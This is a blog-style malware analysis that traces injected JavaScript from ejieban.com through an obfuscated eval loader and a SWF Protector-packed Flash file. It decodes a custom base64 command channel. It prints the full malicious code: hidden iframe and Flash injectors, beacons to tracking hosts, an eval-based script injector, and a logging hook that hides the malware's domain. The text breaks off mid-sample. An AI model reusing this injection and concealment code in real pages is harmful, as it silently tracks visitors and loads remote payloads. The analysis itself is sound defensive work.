Analyzing Obfuscated SWFs
A few days ago I was alerted of a host communicating with a (bad) domain and downloading SWF files. There was some concern that there was malware beaconing out and I needed to figure out the extent of this infection, if any.
The host in question was seen contacting NovaSyncs.com which was serving malicious JS via mine.js
:
document.write(unescape("%3Cscript src='http://i.ejieban.com/clouder.js' defer='defer' type='text/javascript'%3E%3C/script%3E"));
Digging deeper:
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('a("V"==1B(3)){3=[];3.g=[];3.K=9(h){4 6=5.16("1u");6.w.o="0";6.w.j="0";6.w.1G="1M";6.w.29="-2d";6.1p=h;1j 6};3.C=9(v,8){4 6=3.K(v);5.b.C(6,5.b.Z[0]);3.g[8]=6};3.y=9(v,8){4 6=3.K(v);5.b.y(6);3.g[8]=6};3.1e=9(1f,8){4 f=\'<1w\'+\'J 1E\'+\'c="\'+1f+\'" 1K\'+\'1L="1" 1R\'+\'1U="1"/>\';3.y(f,8)};3.27=9(11){4 14=5.1n(\'1o\')[0];4 n=5.16(\'1q\');14.y(n).F=11};3.1s=9(8){H{a(3.g[8]){5.b.1v(3.g[8]);3.g[8]=V}}I(e){}};3.X=9(8,r){4 l="D"+"p://1N"+"1O.c"+"1Q.c"+"E/1T"+"t.23"+"m?8=";l+=8+"&r="+25(r)+"&G=";4 f=k;4 G=f.u.2e||f.u.2f;l+=G.2g()+"&2h"+"J=2j&2v"+"2w=0&2x"+"J=0&2y"+"2I"+"d=";l+=z.1m(T*z.U())+"-2M"+"1t-";4 W=f.A.o&&f.A.j?f.A.o+"x"+f.A.j:"1x";l+="&1y"+"1z="+W+"&1A=0&s"+"1C=&t=&1D="+z.1m(T*z.U());1j l};3.L=9(){a(5&&5.b&&5.b.Z){4 1F=k.u.10;4 1H=k.1I.1J;4 M="D"+"p://i.12"+"13"+"N.c"+"E/s"+"1P.s"+"15?d=19.s"+"15";4 O="s=1S";4 P=\'<17 1V="1W:1X-1Y-1Z-20-21" 22="18://24.1a.1b/26/1c/28/1d/2a.2b#2c=7,0,0,0" o="0" j="0"><Q R="1g" S="1h"/><Q R="2i" S="\'+M+\'"/><Q R="1i" S="\'+O+\'"/><2k F="\'+M+\'" 1i="\'+O+\'" o="0" j="0" 1g="1h" 2l="2m/x-1c-1d" 2n="18://2o.1a.1b/2p/2q" /></17>\';P+=\'<2r F="\'+3.X("2s"+"2",5.2t)+\'" o="0" j="0"/>\';3.C(P,"2u")}B{1k(3.L,1l)}};3.L();3.q=9(){a(5&&5.b){H{a(/\\2z\\2A\\2B/i.2C(k.u.10)){4 l="D"+"p://i.12"+"13"+"N.c"+"E/s"+"2D.h"+"2E#s/N";3.1e(l,"2F")}}I(e){}}B{1k(3.q,1l)}};H{a("2G"==5.2H){3.q()}B{a(5.Y){k.Y("2J",3.q)}B{k.2K("2L",3.q,1r)}}}I(e){}}',62,173,'|||_c1oud3ro|var|document|node||id|function|if|body|||||nodes|||height|window||||width||oload2||||navigator|html|style||appendChild|Math|screen|else|insertBefore|htt|om|src|lg|try|catch|me|getDivNode|oload|fp|an|pm|str|param|name|value|2147483648|random|undefined|sp|stat|attachEvent|childNodes|userAgent|js|ej|ieb|head|wf|createElement|object|http||macromedia|com|shockwave|flash|appendIframe|url|allowScriptAccess|always|flashVars|return|setTimeout|200|floor|getElementsByTagName|HEAD|innerHTML|SCRIPT|false|removeNode|6171|DIV|removeChild|ifra|0x0|sho|wp|st|typeof|in|rnd|sr|ua|position|ho|location|host|wi|dth|absolute|hz|s11|tat1|nzz|he|de|sta|ight|classid|clsid|d27cdb6e|ae6d|11cf|96b8|444553540000|codebase|ht|fpdownload|encodeURIComponent|pub|appendScript|cabs|left|swflash|cab|version|100px|systemLanguage|language|toLowerCase|nti|movie|none|embed|type|application|pluginspage|www|go|getflashplayer|img|203338|referrer|_cl3r|rep|eatip|rti|cnz|wnd|wo|wd|test|tatn|tml|_9h0n4|complete|readyState|z_ei|onload|addEventListener|load|139592'.split('|'),0,{}))
This will decode to the following and eventually serve a suspicious flash object stat.swf
:
eval(
if ("undefined" == typeof(_c1oud3ro)) {
_c1oud3ro = [];
_c1oud3ro.nodes = [];
_c1oud3ro.getDivNode = function(h) {
var node = document.createElement("DIV");
node.style.width = "0";
node.style.height = "0";
node.style.position = "absolute";
node.style.left = "-100px";
node.innerHTML = h;
return node
};
_c1oud3ro.insertBefore = function(html, id) {
var node = _c1oud3ro.getDivNode(html);
document.body.insertBefore(node, document.body.childNodes[0]);
_c1oud3ro.nodes[id] = node
};
_c1oud3ro.appendChild = function(html, id) {
var node = _c1oud3ro.getDivNode(html);
document.body.appendChild(node);
_c1oud3ro.nodes[id] = node
};
_c1oud3ro.appendIframe = function(url, id) {
var f = '<ifra' + 'me sr' + 'c="' + url + '" wi' + 'dth="1" he' + 'ight="1"/>';
_c1oud3ro.appendChild(f, id)
};
_c1oud3ro.appendScript = function(js) {
var head = document.getElementsByTagName('HEAD')[0];
var n = document.createElement('SCRIPT');
head.appendChild(n).src = js
};
_c1oud3ro.removeNode = function(id) {
try {
if (_c1oud3ro.nodes[id]) {
document.body.removeChild(_c1oud3ro.nodes[id]);
_c1oud3ro.nodes[id] = undefined
}
} catch (e) {}
};
_c1oud3ro.stat = function(id, r) {
var l = "htt" + "p://hz" + "s11.c" + "nzz.c" + "om/sta" + "t.ht" + "m?id=";
l += id + "&r=" + encodeURIComponent(r) + "&lg=";
var f = window;
var lg = f.navigator.systemLanguage || f.navigator.language;
l += lg.toLowerCase() + "&nti" + "me=none&rep" + "eatip=0&rti" + "me=0&cnz" + "z_ei" + "d=";
l += Math.floor(2147483648 * Math.random()) + "-139592" + "6171-";
var sp = f.screen.width && f.screen.height ? f.screen.width + "x" + f.screen.height : "0x0";
l += "&sho" + "wp=" + sp + "&st=0&s" + "in=&t=&rnd=" + Math.floor(2147483648 * Math.random());
return l
};
_c1oud3ro.oload = function() {
if (document && document.body && document.body.childNodes) {
var ua = window.navigator.userAgent;
var ho = window.location.host;
var fp = "htt" + "p://i.ej" + "ieb" + "an.c" + "om/s" + "tat1.s" + "wf?d=19.s" + "wf";
var pm = "s=de";
var str = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="0" height="0"><param name="allowScriptAccess" value="always"/><param name="movie" value="' + fp + '"/><param name="flashVars" value="' + pm + '"/><embed src="' + fp + '" flashVars="' + pm + '" width="0" height="0" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></object>';
str += '<img src="' + _c1oud3ro.stat("203338" + "2", document.referrer) + '" width="0" height="0"/>';
_c1oud3ro.insertBefore(str, "_cl3r")
} else {
setTimeout(_c1oud3ro.oload, 200)
}
};
_c1oud3ro.oload();
_c1oud3ro.oload2 = function() {
if (document && document.body) {
try {
if (/\wnd\wo\wd/i.test(window.navigator.userAgent)) {
var l = "htt" + "p://i.ej" + "ieb" + "an.c" + "om/s" + "tatn.h" + "tml#s/an";
_c1oud3ro.appendIframe(l, "_9h0n4")
}
} catch (e) {}
} else {
setTimeout(_c1oud3ro.oload2, 200)
}
};
try {
if ("complete" == document.readyState) {
_c1oud3ro.oload2()
} else {
if (document.attachEvent) {
window.attachEvent("onload", _c1oud3ro.oload2)
} else {
window.addEventListener("load", _c1oud3ro.oload2, false)
}
}
} catch (e) {}
})
Unpacking the SWF for analysis
The ejieban.com stat.swf
file looks to be encoded with DComSoft’s SWF Protector. This is essentially an encoder designed to protect flash bytecode from analysis.
Fortunately it’s fairly straightforward to reverse.
SWF Protector works just like any other encoder and inserts a stub that loads the original resource into memory and decodes it. This is obvious with the use of the this.loader
object and the eventual call to this.loader.loadBytes()
:
Debugging this with FFDec proved to be a bit of challenge. The flash debugger would crash and fail to hit the breakpoint.
Since SWF Protector eventually loads the decoded SWF in memory I can execute stat.swf in Firefox and search plugin-container.exe
’s memory space for SWF objects.
Executing the SWF with Flash 23 triggers a sandbox security exception on ExternalInterface.call()
. ExternalInterface is an API that allows the Flash object to execute code on the browser:
While the Adobe Flash plugin in Firefox is waiting for me to handle the exception, I can go to Tools > Search SWFs in memory
in FFDec and try and find and dump the decoded Flash object:
I’m looking for plugin-container.exe
, a separate process spawned by Firefox to handle plugins:
There are several SWF objects in memory; what I’m interested in is one slightly smaller than the encoded original (13kb). I was playing around with SWF Protector and noticed it doesn’t do much compressing when it obfuscates the SWF. It ends up adding a few KBs of overhead stub code to the obfuscated object.
The 11kb object in the 87*
address range should be what I’m looking for.
I can see references to the SSetter
class that threw the earlier exception in Firefox; this must be the decoded SWF. The object can be saved to disk for further analysis.
Analyzing the Deobfuscated Code
The decoded SWF uses a BaseCoder
class which appears to be a base64 encoding/decoding routine with a custom character table:
package disp
{
import flash.utils.ByteArray;
public class BaseCoder
{
private static var base64Table:Array = ["L","V","4","F","k","1","d","E","T","7","_","N","Y","5","t","S","o","2","m","s","H","U","w","P","R","i","u","b","j","Z","3","y","I","z","g","h","X","^","G","e","D","p","0","9","r","l","K","O","8","B","W","6","n","q","Q","v","a","c","f","A","C","J","x","M","~"];
private static var decode64Table:Array = null;
...
Right at the top of the SSetter
class, a hard-coded string ss
stands out. It seems to have been passed through the BaseCoder encoding routine:
private var ss:String = "iizPzbG4cZhw^ZOdzb8gkNrdBR9WHNrd^jAgqiGscZhw^ZOdzbhgl_WP2iqPajDGBRz6jSeWHtDG1jWdUj7QobDeJRzWX_pmI_DWqRh6k7pwYSqh5Snq^jKGciGWJjlGzozQ5jOXHiDdrRWWXtfmcRnW5bnq^jKGIi6WX5pglypsIizgj7KWUj8G1bhdIiOmCPrg2HWvcuew^_AmzZpQHbDdnRlW7_bPzihmn_JUluhqBPCPzihml_9slSGUcZhw^ZOdzb^gl_WP2iqPajIGlj^^qPZPHtJQUiKe2RpvabDQl_WP2iqPajeGBPv1Z_JWYtJQnYAPzZpQHbDdnRlW^_Gwl_bdnRpqqj8F7N^eBjzdHRDQUbvG7T^1UianIje4BPg1l7^WY_pdZ_jWTPedZNe4X7rWluhqXPAmUjnG7ZKPVTJEj_D4I5p4D3KvqYb6rPqsoTJdrR6sTNJhTTAgcYqWLSAscYcWoSDs^YAgcYqWLSAsz5XgTwcWnTG^27bGXTghcPcml_XPTwcWnTK^I3Wmq_JPYtK6aYJGI5W4r_QPY_KFnYJhXY6gHNJenYAEaYBWnYnFT_rFBb5W8NrkBZ8gr_QP2_bdnYG^27bGnYK^RRGmriW1cPzmTwcWnTG^27bGnYK^rRgU7tZmJwZQl_1PR3D6RjG4TTzgLSpP13e68_e1riW1cPzmTwcWqTb^qbjql78Wq_BP23bQnYK^rRgU7tZmJwZQn_rkBsQ4q_JPz2^Wl_JPcYcWT_pF1yAPaYWWTSAscYqWr_AWI56gHNxekYpHcYcWT_pFktIvIonm^_A4aYBWIYW4CNrdBsYmRNrE^jJ47NWFq_JPYtK6nwgho_DFBiv4YNpdU3Anz5hgqTjs7Pj4TPp4R3D6aRBWzbjmTPK4BjjqlTjgTPW4BZj^XTxgkNpsH3I6qRhhHtI6qojh7Pj4TPA4L5WmBSjU^TjhTPA4V5amYSKwnYDw8Pg1BTjUXTAgz5agnSBgl_gPYSKwRYDwBYa4l_4sYSKwRYDwr3B4l_JsHtI6qmjF87B6LiamBSjU8Te^T_96ZPj4TPI4quj67Pj4r7WW8_eq8Pg11TFFBSjU1T7h1t_h1NNs1Nts1NHs1NRs8Pg17TlFBSjU1TXhCtOgkYKeawBmCtWmC3BmC5BgCjBWC5BmaZB4YZBmn3vhLNrF8Y848Pg1DTJd8Pg1BYjUVTpgBSjU1TjhTPx4aSIkquj6TPB4BYjqVTogBSjUkTWh8Pg1aNC6Vs9gBSjU1T2h8Pg1LTJ18Pg1jP94lRjgB7jqCTxgaSIkquj6TPB4BYjUVTogBSjU8Te^T_9nZPj4TPO48SBhLUaWBSjU8Te^T_96ZPj4TPI4quj67Pj4r7WW8_eq8Pg1YTJ18Pg1jP94lRjgB7jqLTBgqYjs7Pj4l74W8_eq8Pg1DTJd8Pg1BYjUVTpgBSjU1TjhTPI4YYJs8Pg17YjsTPI4XYJU8Pg1jYOhn3B4n5BgB5jULTWgqtjFTPB4DiOFTNc6XNK^XYOsrYOGBYjGTPI4aNC61N^68Se^otKQcUU4o_KdzUjg17h6jPp4a_BmqbT61yAPaiW4z2jg1786jPp4VwZ6HND^ciw48_e11YjPX7pWYNJ^lRjWc7eWZPJ4qyEPH_pdq3JvT_AmcYPWoSDsBYDgr_qPaTJdciw48_e15YjwX7AWcbdgDNJGLTghatKQc2pgTS8mlTKhRNKXRYJP1TvhlTKhRNKXIYJPnTBgT3AmrYgqTH9mnYJ^lbKh1NOhISAwciH4HND^^bJgYtK6nsn6T_rFoYpsH3I6qmjF87B68oe^8_eqLmaW7Sjmr7WW8_eqVT9g7Sjmr7WW8_eqLTBg82e18_eqnRg6jP94oY9sjPg41T1FjP94jPB4n2ghTYImZYjHl7jW17T6TSBmCTxgjPA4cYPWT_rF^mJ4YtK6nmnhT_rFjYpsU3AnL5BmqtXF7wZ6DNKeBYCH2ybdnYK^a3BgriB6ItB4^5JWz2^Wl_JPry6s1N5hoSDsBYggjNrd^ZA4I5BgqSnsr_6PCNDX8YggCYfHLYgUl_Vso_DFr_6PDNDX8Y6gDN9^zTzgVNf4VNj4T79WrRggjPp4Tt9W^iJW1NzFq_BPY3K6IsWWTNB4aHBgYHgWT_pQRtD6RiGWZPj4k7JW^iVWo_DFr_6PDNDXBYegn_rPkYpwnyAPaYBWnRnhT_pFo3KQaUB4IU6m7w2WrTWgXPAmrYgqTH9mnYJ^iYJUYtK6nwnFI_rF^jAgV5rmTSBmTw9gLTfeCNWWTY94TTBhYNgGT_WWcYhgrTggYYOhoYgh7_nWTNqhrTggCbasTSAmrbJ4rtg4T7JerTWgz5Wgr_gmX7JXrTqhRTJdr3qhXTJkaiBgauW4BRCPaiBgauW4lRrhq_767NhhX_94RTWgTi94rTJXHYGGRYgGT_WWni8677DhrTggnm8677phrTggDYgG7_XWTSAmrbJ4a2B4IuBmpukg1N9hX_p4T_lWCYgGT_WWnjg4HtI68YJwciFgDNGGR7KGcopWRSKQco0W7_aWlTGgYNKXDugsYYge8t9QTSGmoYgeT_WWnZgs1_r6T_GWaYJwiY64rTggjYJeo7Je77ahTS9ma2B4IuBmpukg1N9hX_p4HtI6qHjhB7m6YTJ18Te^8_9QjPg4DTJdLTghXTJdLTghcNj6r7W6V3mgry6s1NKhoSDs^bA4L5am7SRmrTDgkYIXTYDXX_KmYYDXr_qsITJdcYRW8_e12YjXB7rWByzE7N1hr_6sjND^BtD4l_Vso_DFl_1PY3K6TYDw^tJ4z2^Wl_JP8yBm^jJgXyDmr_esRNWFkNQF85egByGEBiyE2jzvBZGEcZhw^ZOdBbQe7RCPiuCw^yXd5yyE2jzvBZXE5bqQUbKwBZGEBjCEByCE5uCezy^dZuDwBZvE2unwBuKEqR^wByCEiyKdBy^E5b^EByCEZynEBRCvByGEcuCw^ZKQJivd5y^E2Zp1UbOw2ZCPqjCd5jWQUiKwqyzkzZCd7ZcE5ynEB3^w5yzd5ZDd5ynEBjreBizvpj6dqy^d5yKE5yOEBb8E7RzPBbzPijXdiyzEUb^E2ypdBZpeZbCw7jhv7yOd^iCEVR8PciXwzopQ2bCd7R^v2R^PB2^wUbKwBZzE2jpdBZfeB3le5RWwqb^Q^izd5y6EZynEiyrd5RDP1UWGBjzvZbzE53CPBRrwZbsv7Rpv2jVE5R^Q5jCv7ZrPiyrd5RDP5yDE5b9Q1ZQQBinP23CE1RrQUbQdBRCwJRlQky8FVYCFqjCG^2wkzyndVZCE7b0Q5inw5yqE5RneBj^e1ZrGcyzd^ZeG2ROPBjGeJbOd8jWeoYvsI56Fo5ah7yzE2bOGBb6PBjpE2b^GJ3Gk5ynE^yKdUbWG2m51BsTE12kH5yF1^HoX8UBEL58s5yzd5RCeZjGv1b6dBuhE7RCwJj6d2upPcbCQ7R6wBbqQUZCdUbGd8ZBEVY8FB3QE7i6PJuKwjy8F^yGd1jCGBRzQ5jpvBi6EBjveBuXPzZCdUuCdZuDwBZhE5bpEBiXEZYhhTiQdBizPiiXsUyad5isw7Rpv2jCEVRCP1YhsBizeJRqGBZgE1bKdBulvibpvBi6P1ZndzyndBbCwitgsBtWEqiOwUZFG^urdBiKEBZrwUyldURXGoynFH5qFHYn6LY8FBYnEV3^PzyndBZDEB36e1YCspbfeJyld5ynEBRDPBZ^E5bOGUiUd^HFXqb8Qcb^Q2bCeVR8P^bhd2RpPcbCQBjqd^iKQVjzvUiCQZZvv5ycE2j^vBbzHZbqGZR^wByzdZbqGZR^w2yOEJsvd7iFP5R^PcyndBuKPcb^Q7y^EBj^E2RpPBjWE^ZCdcRfQpyyE^iCwJiCQUinQBizGzj8Q1bcd7iCPJRXQ7izwUjCQUird^RCPYYcsX5WsRyBF15C6ViXeZbKvJbzd8iqEVYCFIY8E5yDEBbvvBjvEBipeBbWe2bCGUjgE7y^EUZWEBbKeZiCP12ndBieP2iHPqu^wkyvFY5QFVYCFUjGG7iWP7iCPUinQB2^wUbKw5Z4E23zUciznHbew5N8e^bndZ_C4X7rWBYA4Xypm";
A fetchit
function calls i.ejieban.com/stat.do?p=xxx
which returns an array of this custom base64 encoded data (separated by semicolon).
The call path:
fetchit()->
fetchcallback()->
preappend()->
decodeArray()->
(BaseCoder).decode([data_from_stat_do])
private function fetchit() : void
{
var _loc1_:String = this.host + "stat2.do?p=" + this.ipStr;
var _loc2_:URLLoader = new URLLoader();
_loc2_.dataFormat = URLLoaderDataFormat.TEXT;
_loc2_.addEventListener(SecurityErrorEvent.SECURITY_ERROR,securityErrorHandler);
_loc2_.addEventListener(IOErrorEvent.IO_ERROR,ioErrorHandler);
_loc2_.addEventListener(Event.COMPLETE,this.fetchcallback);
_loc2_.load(new URLRequest(_loc1_));
}
private function fetchcallback(param1:Event) : void
{
...
this.preappend();
...
}
private function preappend() : void
{
...
this.decodeArray(_loc1_.data.oarr);
...
}
private function decodeArray(param1:String) : void
{
var _loc5_:String = null;
var _loc6_:Array = null;
var _loc2_:BaseCoder = new BaseCoder();
var _loc3_:String = _loc2_.decode(param1);
...
}
/* stat.do?p=xyz returns:
IYnsjNqhTNBha5a4M5^^FgG0Mg^Ap_j~
1uOdIYAWz_nwLZfEJN6W5N6ecbB4qu6dcihWnbOQ5jrvLN86jY6hH58wk5chHR8wIiKFZjGvr_pFUjnQr_pFr_pF5byeVRpPzNzGab6WL5KhcRyQ^b6P2u^Pr_pFCN6WcY^m^u^G1RKG5NOGJbhmJbqdUiWdpN6Gr_pFUbrerbDFXtDWajrQXZDgrHph1uOdYYDv^tDW2Z8ECtOgcj6W8jKQzjpwjbKwJRlQ5N6vCb84TYvFUY^6RYBF1t^woYad5NveIiAg5_^PIZA4I_Amc_6w1P8QcuDmCRKwRY865NKGqPcQ^jnQIiAmC_OmkYK6pipw7izwcbhgnbOQBROQ2Z^wcj0gIjAWc_qw8bAdr_pF5_KERNpET_A1i_lwYjDF^tDW2Z8ECtOgLRKhpipw7izwcbhgnbOQqi8Gr_pF7ZpvHZDd^t6W8bDQ^t6W1blGIiAmz_nwLZfEJNgWcY^4^u^G1RKG5NOGJbhmJbqdUiWdpN6Gr_pFT_A1^_Gwciewr_pF2unEDjOFXN6v^NGGciewquew5NOGJb^mjiaFC58WktWsiNrQ5RDPJoOQ^u^Q5NveIiAg^_GwciewB2zGzjFQJb9QUuswoiDP^tvWjZKviu^wjbKGJRlQr_pF^ZXwr_pF2unEDjOFXNBQUN0GUugwaRKwJRlQ5NrQUbXvTiKPYuDeXtDWUbvG2TzkHZpdZN^G2Zp1HbDwl_jmJ7jqr7DWkYnho5a6RYn6pt542RDP7Nze2bOGIbpmLypF2NOe2HWvcuewY_QFl_5m2RDP7NOecZXw1_1Fp5542RDP7Nze2bOGIbpmz_mm^taWI36Pr_pF2unEDjOFYNWv1NDequew5NOGJb6m1ZndYuOwLYWFY5q6LiQs^YzsViXsct64RZDQ^t6WoiDPXtDW^tyWzPqQouDw^tDW2Z8ECtOgkYK6pipw7izwcbhgnbOQBROQ2Z^wIjKeYuDe^tQWTRIPRPJvJNyqUupEniDFawAqDPpml_CFX7O4cu^mU3hd2_OdURlvcinw5NOGlbpQXiAmRPMvUihd2b^Q7U7UJolQJjKdcinwJ_Q11wZ6p_js87eqItAWz_6mBbQg_o~~
*/
The next step is to run this data through the custom base64 decoding routine but debuging the decoded SWF inside FFDec once again proved to be a challenge.
There is no ExternalInterface
API available to the standalone Flash debugger. The SWF code specifically checks for ExternalInterface
and will exit if it doesn’t exist. There are two ways I can approach this.
First option: I could modify the SWF bytecode to remove the check for ExternalInterface
so I can walk through the decoding routine in the FFDec debugger:
While this does bypass the check, the variable watch did not seem to work properly on my system. I did try Flash 23 and Flash 18 debuggers but walking through code, I could not see the contents of variables in memory.
The second option:
- Create a new ActionScript project in FlashDevelop
- add
BaseCoder.as
to the project - populate the Main class with the base64 data I want to decode (variables:
ss
,from\_stat\_do\_1
,from\_stat\_do\_2
) - compile and execute the SWF in Firefox
- check the console log for the decoded data
More JavaScript and SWF files referenced in the base64 decoded data:
The JavaScript code is fairly simple and looks to provide a _stat
object that allows the malware to inject more SWF, JavaScript and IMG tags:
(function() {
window._stat = [];
var d = document;
_stat.fd = "";
_stat.wtc = 0;
_stat.fin = function(fd) {
_stat.wtc = 0;
if (d["s_stat"] && d["s_stat"].fin) {
d["s_stat"].fin(fd)
}
};
_stat.delay = function(fd) {
if (_stat.fd == fd) _stat.wtc = 0
};
_stat.wt = function(fd, fn, sol, sn, v, p) {
if (d[fd] && d[fd].document && d[fd].document["s_stat"] && d[fd].document["s_stat"][fn]) {
try {
if (p && "" != p) {
eval('d[fd].document["s_stat"][fn]' + p)
} else {
d[fd].document["s_stat"][fn](sol, sn, v)
}
} catch (e) {}
_stat.fin(fd)
} else {
_stat.fd = fd;
_stat.wtc++;
if (_stat.wtc > 70) _stat.fin(fd);
else setTimeout(function() {
_stat.wt(fd, fn, sol, sn, v, p)
}, 500)
}
};
_stat.ss = "(function(d,w,c){try{if(c!=\"\"){if(c.indexOf(\".s\"+\"wf\")>-1){var fp=c;var pm=\"\";var fd=\"s_stat\";var x=c.indexOf(\"!\");if(x>-1){fp=c.substr(0,x);pm=c.substr(x+1);};var str='<object id=\"'+fd+'\" name=\"'+fd+'\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" width=\"1\" height=\"1\"><param name=\"allowScriptAccess\" value=\"always\"/><param name=\"movie\" value=\"'+fp+'\"/><param name=\"flashVars\" value=\"'+pm+'\"/><embed id=\"'+fd+'\" name=\"'+fd+'\" src=\"'+fp+'\" flashVars=\"'+pm+'\" width=\"1\" height=\"1\" allowScriptAccess=\"always\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" /></object>';d.body.appendChild(d.createElement('DIV')).innerHTML=str}else{d.getElementsByTagName('HEAD')[0].appendChild(d.createElement('SCRIPT')).src=c+'.js'}}}catch(e){}})";
_stat.apdiv = function(fd, h) {
var n = d.createElement('DIV');
n.style.width = "0";
n.style.height = "0";
n.style.position = "absolute";
n.style.left = "-100px";
_stat["div" + fd] = n;
n.innerHTML = h;
d.body.appendChild(n)
};
_stat.apfd = function(fd, url) {
var str = '<iframe id="' + fd + '" name="' + fd + '" src="' + url + '" width="1" height="1"/>';
_stat.apdiv(fd, str)
};
_stat.apjs = function(fd, txt) {
try {
var calleval = d[fd].window.execScript || d[fd].window.eval;
calleval(txt)
} catch (e) {}
};
_stat.ap = function(fd, fp, js, t) {
if (1 == t) {
_stat.apfd(fd, "about:blank");
setTimeout(function() {
_stat.apjs(fd, _stat.ss + "(document, window, '" + fp + "');" + js)
}, 1000)
} else {
_stat.apfd(fd, "stat.html#" + fp);
if (js && '' != js) setTimeout(function() {
_stat.apjs(fd, js)
}, 1000)
}
};
_stat.rm = function(fd) {
d.body.removeChild(_stat["div" + fd]);
_stat["div" + fd] = null
};
_stat.zz = function(id, r) {
var l = "http://hzs11.cnzz.com/stat.htm?id=";
l += id + "&r=" + encodeURIComponent(r) + "&lg=";
var f = window;
var lg = f.navigator.systemLanguage || f.navigator.language;
l += lg.toLowerCase() + "&ntime=none&repeatip=0&rtime=0&cnzz_eid=";
l += Math.floor(2147483648 * Math.random()) + "-1395926171-";
var sp = f.screen.width && f.screen.height ? f.screen.width + "x" + f.screen.height : "0x0";
l += "&showp=" + sp + "&st=0&sin=&t=&rnd=" + Math.floor(2147483648 * Math.random());
var img = '<img src="' + l + '" width="0" height="0"/>';
return img
};
_stat.st = function(l) {
var id = "zz" + (new Date()).getTime();
var h = _stat.zz('1743600', l || document.referrer);
_stat.apdiv(id, h);
setTimeout(function() {
try {
_stat.rm(id)
} catch (e) {}
}, 1500)
}
})();
The second line is the client IP and country of origin of the request in Chinese.
184.75.214.86_[Canada]:
The third is another array of SWFs, JavaScript files, commands and callback URLs. The decoded stat.swf will process this data and inject it into the page using the fetchcallback
function (see above).
Files of Note
hxxp://s.ssl.qhimg.com/ssl/002735e0619ae0d8.swf
This SWF looks to provide get/set/remove
functionality via the SharedObject API to the browser. This would allow Flash files injected in the same page to share data using memory instead of requiring a separate server for communication.
hxxp://y3.ifengimg.com/ed787/0912/flashCookie.swf
This provides similar functionality via the SharedObject API.
The data received from stat.do
also references a few JavaScript files which appear to provide more tracking functionality.
hxxp://b0.ejieban.com/clouder.js, hxxp://i1.ejieban.com/clouder.js, hxxp://31.ejieban.com/clouderx.js:
if ("undefined" == typeof(_c1oud3r)) {
_c1oud3r = [];
_c1oud3r.nodes = [];
_c1oud3r._5c = false;
_c1oud3r.pt = (("https:" == window.location.protocol) ? "https://" : "http://");
_c1oud3r.appendChild = function(html, id) {
var node = document.createElement("DIV");
node.style.width = "0";
node.style.height = "0";
node.style.position = "absolute";
node.style.left = "-100px";
node.innerHTML = html;
document.body.appendChild(node);
_c1oud3r.nodes[id] = node
};
_c1oud3r.removeNode = function(id) {
try {
if (_c1oud3r.nodes[id]) {
document.body.removeChild(_c1oud3r.nodes[id]);
_c1oud3r.nodes[id] = undefined
}
} catch (e) {}
};
_c1oud3r.removeIt = function() {
if (_c1oud3r._5c) {
setTimeout("_c1oud3r.removeNode('_cl3r')", 1200)
} else {
setTimeout(_c1oud3r.removeIt, 1000)
}
};
_c1oud3r.stat = function(id, r) {
var l = _c1oud3r.pt + "hzs11.cnzz.com/stat.htm?id=";
l += id + "&r=" + encodeURIComponent(r) + "&lg=";
var f = window;
var lg = f.navigator.systemLanguage || f.navigator.language;
l += lg.toLowerCase() + "&ntime=none&repeatip=0&rtime=0&cnzz_eid=";
l += Math.floor(2147483648 * Math.random()) + "-1395926171-";
var sp = f.screen.width && f.screen.height ? f.screen.width + "x" + f.screen.height : "0x0";
l += "&showp=" + sp + "&st=0&sin=&t=&rnd=" + Math.floor(2147483648 * Math.random());
return l
};
_c1oud3r.kbehavi = function() {
if ("undefined" != typeof(LogHub) && "undefined" != typeof(LogHub.behavior)) {
LogHub.sbehavior = LogHub.behavior;
LogHub.behavior = function(t, n) {
if (/e\wie\wan\.\wom/i.test(n)) return;
LogHub.sbehavior(t, n)
}
} else {
setTimeout(_c1oud3r.kbehavi, 200)
}
};
_c1oud3r.oload = function() {
if (document.body == null) {
setTimeout(_c1oud3r.oload, 200)
} else {
var fp = _c1oud3r.pt + "s0.ejieban.com/stat.swf?d=17.swf";
var pm = "f=3h&u=" + window.navigator.userAgent;
if ("undefined" != typeof(__scode)) {
pm += "&" + __scode
}
var str = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=' + _c1oud3r.pt + 'fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="0" height="0"><param name="allowScriptAccess" value="always"/><param name="movie" value="' + fp + '"/><param name="flashVars" value="' + pm + '"/><embed src="' + fp + '" flashVars="' + pm + '" width="0" height="0" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="' + _c1oud3r.pt + 'www.macromedia.com/go/getflashplayer" /></object>';
str += '<img src="' + _c1oud3r.stat("1806840", document.referrer) + '" width="0" height="0"/>';
_c1oud3r.appendChild(str, "_cl3r");
setTimeout(_c1oud3r.removeIt, 2000)
}
};
try {
if ("complete" == document.readyState) {
_c1oud3r.oload()
} else {
if (document.attachEvent) {
window.attachEvent("onload", _c1oud3r.oload)
} else {
window.addEventListener("load", _c1oud3r.oload, false)
}
}
} catch (e) {}
_c1oud3r.kbehavi()
}
// "clouder" sample 2
if ("undefined" == typeof(_c1oud3r)) {
_c1oud3r = [];
_c1oud3r.nodes = [];
_c1oud3r.pt = (("https:" == window.location.protocol) ? "https://" : "http://");
_c1oud3r.appendChild = function(html, id) {
var node = document.createElement("DIV");
node.style.width = "0";
node.style.height = "0";
node.style.position = "absolute";
node.style.left = "-100px";
node.innerHTML = html;
document.body.appendChild(node);
_c1oud3r.nodes[id] = node
};
_c1oud3r.removeNode = function(id) {
try {
if (_c1oud3r.nodes[id]) {
document.body.removeChild(_c1oud3r.nodes[id]);
_c1oud3r.nodes[id] = undefined
}
} catch (e) {}
};
_c1oud3r.removeScript = function() {
var head = document.getElementsByTagName('HEAD')[0];
